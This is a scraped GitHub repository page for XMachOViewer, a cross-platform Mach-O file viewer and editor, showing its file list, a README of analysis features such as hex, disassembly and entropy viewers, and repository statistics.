March 11, 2023 22:35

yara\_widget @ 5180c67

Update module: yara\_widget 2023-10-18

October 18, 2023 18:35

.gitmodules

Add new module

November 26, 2023 00:08

CMakeLists.txt

Fix: 2023-05-22

May 22, 2023 18:12

Dockerfile

Fix: 2021-05-24

May 24, 2021 12:04

LICENSE

Fix: 2023-02-18

February 18, 2023 00:08

README.md

Update README.md

October 16, 2023 22:03

THANKS.md

Fix: 2023-09-08

September 8, 2023 00:50

build.pri

Fix: 2023-03-14

March 14, 2023 08:11

build\_dpkg.sh

Fix: 2022-08-12

August 12, 2022 16:39

build\_mac.sh

Fix: 2022-08-05

August 5, 2022 15:28

build\_msvc\_win32.bat

Fix: 2021-09-28

September 28, 2021 19:06

build\_msvc\_win64.bat

Fix: 2021-09-28

September 28, 2021 19:06

build\_msvc\_winxp.bat

Fix: 2021-09-28

September 28, 2021 19:06

build\_win32.bat

Fix: 2021-05-21

May 21, 2021 17:58

build\_win64.bat

Fix: 2021-05-21

May 21, 2021 17:58

build\_win\_generic.cmd

Fix: 2022-08-05

August 5, 2022 15:28

changelog.txt

Fix: 2022-07-19

July 19, 2022 18:10

configure

Fix: 2022-08-02

August 2, 2022 16:30

configure.ac

Fix: 2022-08-02

August 2, 2022 16:30

create\_appimage.sh

Fix: 2022-08-05

August 5, 2022 18:12

global.h

Fix: 2023-04-02

April 2, 2023 13:55

install.iss

Fix: 2022-05-24

May 24, 2022 18:22

install.sh

Fix: 2022-08-05

August 5, 2022 15:28

release\_version.txt

Fix: 2022-07-19

July 19, 2022 18:10

xmachoviewer\_source.pro

Fix: 2022-01-24

January 24, 2022 18:44

MachO file viewer/editor for Windows, Linux and macOS. Features Downloads Building Usage Changelog You can help with translation! Special Thanks

**README.md**

   

**MachO file viewer/editor for Windows, Linux and macOS.****Features**

*   Heuristic scan
*   String viewer
*   Hex viewer
*   Disasm viewer(x86/64,ARM,PPC,m68k)
*   Entropy viewer
*   Hash viewer
*   Crypto search
*   Name demangling

**Downloads**

XMachOViewer can be downloaded from the releases page.

**Building**

Build instructions can be found in BUILD.md.

**Usage**

Instructions to use xmachoviewer - The GUI version can be found in RUN.md.

**Changelog**

Changelog can be found in changelog.txt.

**You can help with translation!**

Follow This link.

       

**Special Thanks**

*   PELock Software Protection & Reverse Engineering

**About**

XMachOViewer is a Mach-O viewer for Windows, Linux and MacOS

ntinfo.biz

**Topics**

reverse-engineering macho hacktoberfest macho-parser osx-application machoexplorer machoview macho-loader macho64 hacktoberfest2023

**Resources**

Readme

**License**

MIT license

Activity

**Stars**

**635** stars

**Watchers**

**13** watching

**Forks**

**50** forks

Report repository

**Releases 5**

0.04 Latest

Aug 6, 2022

\+ 4 releases

**Sponsor this project**

Learn more about GitHub Sponsors

**Packages**

No packages published  

**Contributors 3**

*    **horsicq** Hors
*    **mdhvg** Madhav Goyal
*    **omimakhare** OMKAR MAKHARE

**Languages**

*   C++ 37.5%
*   QMake 33.1%
*   Batchfile 10.0%
*   Shell 8.0%
*   CMake 5.1%
*   M4 2.0%
*   Other 4.3%

Tag

#c++